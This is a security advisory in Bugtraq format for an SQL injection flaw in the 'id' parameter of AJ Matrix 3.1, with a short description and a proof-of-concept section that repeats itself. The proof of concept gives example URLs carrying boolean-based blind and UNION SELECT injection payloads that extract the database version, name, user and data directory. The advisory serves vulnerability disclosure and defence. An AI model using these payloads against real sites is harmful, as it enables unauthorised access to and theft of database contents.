AJ Matrix 'id' Parameter SQL Injection Vulnerability
BID:39654
Info
AJ Matrix 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 39654 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 22 2010 12:00AM |
| Updated: | Sep 17 2010 04:31PM |
| Credit: | v3n0m |
| Vulnerable: |
AJ Square AJ Matrix 3.1 |
| Not Vulnerable: | |
Discussion
AJ Matrix 'id' Parameter SQL Injection Vulnerability
AJ Matrix is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
AJ Matrix 3.1 is vulnerable; other versions may be affected.
AJ Matrix is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
AJ Matrix 3.1 is vulnerable; other versions may be affected.
Exploit / POC
AJ Matrix 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/[path]/?do=cms&action=news&id=[SQLi]
http://www.example.com/[path]/?do=productdetail&id=1+AND+SUBSTRING(@@version,1,1)=5 << true
http://www.example.com/[path]/?do=productdetail&id=1+AND+SUBSTRING(@@version,1,1)=4 << false
http://www.example.com/[path]/index.php?do=productdetail&id=null+union+select+1,2,version(),4,5,6,database(),8,user(),10,11,12,13,14,15,@@datadir--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/[path]/?do=cms&action=news&id=[SQLi]
http://www.example.com/[path]/?do=productdetail&id=1+AND+SUBSTRING(@@version,1,1)=5 << true
http://www.example.com/[path]/?do=productdetail&id=1+AND+SUBSTRING(@@version,1,1)=4 << false
http://www.example.com/[path]/index.php?do=productdetail&id=null+union+select+1,2,version(),4,5,6,database(),8,user(),10,11,12,13,14,15,@@datadir--